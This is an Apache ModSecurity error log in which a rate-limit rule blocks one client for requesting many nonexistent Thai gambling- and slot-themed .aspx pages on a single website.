[Thu Jan 29 21:58:49.454772 2026] [:error] [pid 20576:tid 20606] [client 181.214.166.180:16005] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%8B%E0%B8%B8%E0%B8%9B%E0%B9%80%E0%B8%9B%E0%B8%AD%E0%B8%A3%E0%B9%8C%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXtnmSrDZws_FlQGi9eAUwAAAdQ"]
[Thu Jan 29 21:58:51.627216 2026] [:error] [pid 39863:tid 39867] [client 181.214.166.180:28601] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95333.aspx"] [unique_id "aXtnm7sHJJGGu8set58CMwAAAUE"]
[Thu Jan 29 21:58:52.111491 2026] [:error] [pid 20580:tid 20672] [client 181.214.166.180:57150] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95333.aspx"] [unique_id "aXtnnJCZ5HHdXPmeL59G7QAAAoQ"]
[Thu Jan 29 22:00:11.971145 2026] [:error] [pid 39863:tid 39873] [client 181.214.166.180:36225] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%A7%E0%B8%AD%20%E0%B8%A5%20%E0%B9%80%E0%B8%A5%E0%B9%87%20%E0%B8%95.aspx"] [unique_id "aXtn67sHJJGGu8set58CzAAAAUc"]
[Thu Jan 29 22:00:12.450884 2026] [:error] [pid 19069:tid 19101] [client 181.214.166.180:4362] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%A7%E0%B8%AD%20%E0%B8%A5%20%E0%B9%80%E0%B8%A5%E0%B9%87%20%E0%B8%95.aspx"] [unique_id "aXtn7PDHsRM4BJ9a4Qt7tAAAABc"]
[Thu Jan 29 22:00:14.588394 2026] [:error] [pid 39863:tid 39883] [client 181.214.166.180:16886] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A2%E0%B8%B8%E0%B9%82%E0%B8%A3%E0%B8%9B.aspx"] [unique_id "aXtn7rsHJJGGu8set58C0gAAAVE"]
[Thu Jan 29 22:00:15.067759 2026] [:error] [pid 20576:tid 20590] [client 181.214.166.180:41391] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A2%E0%B8%B8%E0%B9%82%E0%B8%A3%E0%B8%9B.aspx"] [unique_id "aXtn7yrDZws_FlQGi9eAxQAAAcQ"]
[Thu Jan 29 22:00:17.212159 2026] [:error] [pid 20576:tid 20602] [client 181.214.166.180:45043] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95888%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXtn8SrDZws_FlQGi9eAyQAAAdA"]
[Thu Jan 29 22:00:17.740212 2026] [:error] [pid 20576:tid 20586] [client 181.214.166.180:40249] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95888%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXtn8SrDZws_FlQGi9eAygAAAcA"]
[Thu Jan 29 22:00:19.831677 2026] [:error] [pid 20576:tid 20600] [client 181.214.166.180:3318] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95betflik.aspx"] [unique_id "aXtn8yrDZws_FlQGi9eA0QAAAc4"]
[Thu Jan 29 22:00:20.315834 2026] [:error] [pid 20486:tid 20500] [client 181.214.166.180:54244] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95betflik.aspx"] [unique_id "aXtn9HgqSZb6GBx5nnMOVAAAAQs"]
[Thu Jan 29 22:00:22.454376 2026] [:error] [pid 39863:tid 39868] [client 181.214.166.180:45199] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXtn9rsHJJGGu8set58C3gAAAUI"]
[Thu Jan 29 22:00:22.938934 2026] [:error] [pid 39863:tid 39888] [client 181.214.166.180:44646] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXtn9rsHJJGGu8set58C3wAAAVY"]
[Thu Jan 29 22:00:25.101156 2026] [:error] [pid 19069:tid 19083] [client 181.214.166.180:24243] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%E0%B9%81%E0%B8%97%E0%B9%89.aspx"] [unique_id "aXtn-fDHsRM4BJ9a4Qt7yAAAAAU"]
[Thu Jan 29 22:00:25.583417 2026] [:error] [pid 19069:tid 19099] [client 181.214.166.180:11042] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%E0%B9%81%E0%B8%97%E0%B9%89.aspx"] [unique_id "aXtn-fDHsRM4BJ9a4Qt7yQAAABU"]
[Thu Jan 29 22:00:27.744883 2026] [:error] [pid 40273:tid 40294] [client 181.214.166.180:52134] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg168%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXtn-xN1IJpP__zZvujKIgAAAFM"]
[Thu Jan 29 22:00:28.220323 2026] [:error] [pid 39863:tid 39886] [client 181.214.166.180:40495] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg168%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXtn_LsHJJGGu8set58C6AAAAVQ"]
[Thu Jan 29 22:00:30.371170 2026] [:error] [pid 20519:tid 20548] [client 181.214.166.180:26368] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%8A%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXtn_go4s4fyROrkyRn1VAAAAYA"]
[Thu Jan 29 22:00:30.848281 2026] [:error] [pid 39863:tid 39878] [client 181.214.166.180:27735] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%8A%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXtn_rsHJJGGu8set58C9QAAAUw"]
[Thu Jan 29 22:00:33.013952 2026] [:error] [pid 39863:tid 39879] [client 181.214.166.180:64328] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%20%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%AD%E0%B8%B1%E0%B9%89%E0%B8%99%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXtoAbsHJJGGu8set58C_AAAAU0"]
[Thu Jan 29 22:00:33.503492 2026] [:error] [pid 39863:tid 39885] [client 181.214.166.180:9940] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%20%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%AD%E0%B8%B1%E0%B9%89%E0%B8%99%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXtoAbsHJJGGu8set58C_gAAAVM"]
[Thu Jan 29 22:00:35.628770 2026] [:error] [pid 20576:tid 20591] [client 181.214.166.180:51347] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%B8%E0%B8%99%E0%B8%99%E0%B9%89%E0%B8%AD%E0%B8%A2%2020%E0%B8%A3%E0%B8%B1%E0%B8%9A100%202%20%E0%B9%80%E0%B8%97%E0%B9%88%E0%B8%B2.aspx"] [unique_id "aXtoAyrDZws_FlQGi9eA4AAAAcU"]
[Thu Jan 29 22:00:36.116088 2026] [:error] [pid 39863:tid 39876] [client 181.214.166.180:18683] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%B8%E0%B8%99%E0%B8%99%E0%B9%89%E0%B8%AD%E0%B8%A2%2020%E0%B8%A3%E0%B8%B1%E0%B8%9A100%202%20%E0%B9%80%E0%B8%97%E0%B9%88%E0%B8%B2.aspx"] [unique_id "aXtoBLsHJJGGu8set58DBQAAAUo"]
[Thu Jan 29 22:00:38.272293 2026] [:error] [pid 20580:tid 20667] [client 181.214.166.180:1286] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AA%E0%B8%A1%E0%B8%B2%E0%B8%8A%E0%B8%B4%E0%B8%81%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%20%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%20%E0%B9%80%E0%B8%A5%E0%B8%97%202565.aspx"] [unique_id "aXtoBpCZ5HHdXPmeL59HRQAAAoE"]
[Thu Jan 29 22:00:38.760917 2026] [:error] [pid 19069:tid 19079] [client 181.214.166.180:27649] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AA%E0%B8%A1%E0%B8%B2%E0%B8%8A%E0%B8%B4%E0%B8%81%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%20%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%A7%E0%B8%AD%20%E0%B9%80%E0%B8%A5%E0%B8%97%202565.aspx"] [unique_id "aXtoBvDHsRM4BJ9a4Qt70gAAAAE"]
[Thu Jan 29 22:00:40.874811 2026] [:error] [pid 39863:tid 39883] [client 181.214.166.180:16446] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AA%E0%B8%A1%E0%B8%B2%E0%B8%8A%E0%B8%B4%E0%B8%81%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXtoCLsHJJGGu8set58DCAAAAVE"]
[Thu Jan 29 22:00:41.352602 2026] [:error] [pid 20519:tid 20558] [client 181.214.166.180:38477] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AA%E0%B8%A1%E0%B8%B2%E0%B8%8A%E0%B8%B4%E0%B8%81%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXtoCQo4s4fyROrkyRn1ZQAAAYo"]
[Thu Jan 29 22:00:43.483305 2026] [:error] [pid 20576:tid 20602] [client 181.214.166.180:48122] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/1%E0%B8%A3%E0%B8%B1%E0%B8%9A100.aspx"] [unique_id "aXtoCyrDZws_FlQGi9eA5AAAAdA"]
[Thu Jan 29 22:00:43.957392 2026] [:error] [pid 40273:tid 40299] [client 181.214.166.180:41621] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/1%E0%B8%A3%E0%B8%B1%E0%B8%9A100.aspx"] [unique_id "aXtoCxN1IJpP__zZvujKQgAAAFg"]
[Thu Jan 29 22:00:46.096428 2026] [:error] [pid 20576:tid 20605] [client 181.214.166.180:18847] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/10%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20wallet%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXtoDirDZws_FlQGi9eA5wAAAdM"]
[Thu Jan 29 22:00:46.574736 2026] [:error] [pid 20579:tid 20666] [client 181.214.166.180:28812] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/10%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20wallet%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXtoDjVXNopcNyjJc9UsmwAAAlc"]
[Thu Jan 29 22:00:48.717378 2026] [:error] [pid 20580:tid 20676] [client 181.214.166.180:27820] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/24%20%E0%B8%AB%E0%B8%A7%E0%B8%A2.aspx"] [unique_id "aXtoEJCZ5HHdXPmeL59HSwAAAog"]
[Thu Jan 29 22:00:49.200987 2026] [:error] [pid 20578:tid 20627] [client 181.214.166.180:10673] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/24%20%E0%B8%AB%E0%B8%A7%E0%B8%A2.aspx"] [unique_id "aXtoEQ6UX7yOMwQFiydFDQAAAg4"]
[Thu Jan 29 22:00:51.350936 2026] [:error] [pid 20578:tid 20625] [client 181.214.166.180:3026] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/2xl%20slot.aspx"] [unique_id "aXtoEw6UX7yOMwQFiydFFgAAAgw"]
[Thu Jan 29 22:00:51.829113 2026] [:error] [pid 20576:tid 20604] [client 181.214.166.180:19238] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/2xl%20slot.aspx"] [unique_id "aXtoEyrDZws_FlQGi9eA9gAAAdI"]
[Thu Jan 29 22:00:53.955135 2026] [:error] [pid 20486:tid 20495] [client 181.214.166.180:40920] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/99mb%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXtoFXgqSZb6GBx5nnMOiAAAAQY"]
[Thu Jan 29 22:00:54.429763 2026] [:error] [pid 19071:tid 19139] [client 181.214.166.180:47057] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/99mb%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXtoFpfa8Ix5wWmtmJycdwAAAIY"]
[Thu Jan 29 22:00:56.593037 2026] [:error] [pid 20576:tid 20602] [client 181.214.166.180:25516] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/all%20slot.aspx"] [unique_id "aXtoGCrDZws_FlQGi9eA-wAAAdA"]
[Thu Jan 29 22:00:57.073913 2026] [:error] [pid 19071:tid 19135] [client 181.214.166.180:9218] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/all%20slot.aspx"] [unique_id "aXtoGZfa8Ix5wWmtmJycewAAAII"]
[Thu Jan 29 22:00:59.265154 2026] [:error] [pid 19071:tid 19156] [client 181.214.166.180:13940] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/allslot789.aspx"] [unique_id "aXtoG5fa8Ix5wWmtmJycfwAAAJc"]
[Thu Jan 29 22:00:59.745013 2026] [:error] [pid 20579:tid 20659] [client 181.214.166.180:49071] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/allslot789.aspx"] [unique_id "aXtoGzVXNopcNyjJc9UsogAAAlI"]
